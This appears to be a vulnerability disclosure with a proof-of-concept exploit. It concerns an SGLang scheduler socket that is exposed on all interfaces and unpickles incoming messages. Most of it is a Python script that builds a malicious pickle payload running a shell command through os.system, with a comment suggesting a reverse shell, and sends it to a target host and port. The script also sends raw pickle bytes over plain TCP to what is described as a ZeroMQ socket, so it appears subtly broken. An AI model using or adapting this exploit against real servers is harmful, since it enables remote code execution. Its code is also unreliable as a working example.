SGLangs multimodal generation runtime scheduler's ROUTER socket binds to 0.0.0.0 by default and contains a sink that calls pickle.loads() on incoming messages, enabling RCE when exposed to the internet.
The following code is for security research and authorized testing only.
python
import pickle
import socket
import os
# Define a malicious payload class
class ExploitPayload:
def __reduce__(self):
# Execute a shell command (e.g., create a reverse shell or ping)
# Note: Replace with actual command for testing in authorized environment only
return (os.system, ('ping -c 1 127.0.0.1',))
def generate_poc_payload():
# Serialize the malicious object
serialized_data = pickle.dumps(ExploitPayload())
return serialized_data
def send_exploit(target_ip, target_port):
payload = generate_poc_payload()
try:
# Establish connection to the vulnerable ROUTER socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send the malicious pickle payload
s.send(payload)
print("[+] Payload sent successfully.")
s.close()
except Exception as e:
print(f"[-] Failed to send payload: {e}")
if __name__ == "__main__":
# Replace with actual target IP and Port
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8080
send_exploit(TARGET_IP, TARGET_PORT)